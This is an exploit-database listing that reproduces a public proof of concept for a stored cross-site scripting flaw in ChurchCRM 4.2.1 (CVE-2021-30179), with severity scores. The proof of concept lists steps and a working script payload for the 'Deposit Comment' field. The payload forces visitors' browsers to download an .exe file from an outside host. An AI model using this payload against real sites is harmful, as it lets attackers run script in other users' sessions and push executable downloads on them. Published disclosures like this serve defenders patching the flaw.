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ChurchCRM 4.2.1 Cross Site Scripting

CVE Category Price Severity
CVE-2021-30179 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2020-12-03
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 0.0216492 0.684762

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120019

Below is a copy:

ChurchCRM 4.2.1 Cross Site Scripting
#Exploit Title: ChurchCRM 4.2.1- Persistent Cross Site Scripting(XSS)
#Date: 2020- 10- 29
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.1
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit. There are multiple locations where this can be replicated To exploit this vulnerability:

   1. Login to the application, go to 'View all Deposits' module.
   2. Add the payload ( <script>var link = document.createElement('a');
   link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
   link.download = ''; document.body.appendChild(link); link.click();
</script>
   ) in the 'Deposit Comment' field and click "Add New Deposit".
   3. Payload is executed and a .exe file is downloaded.

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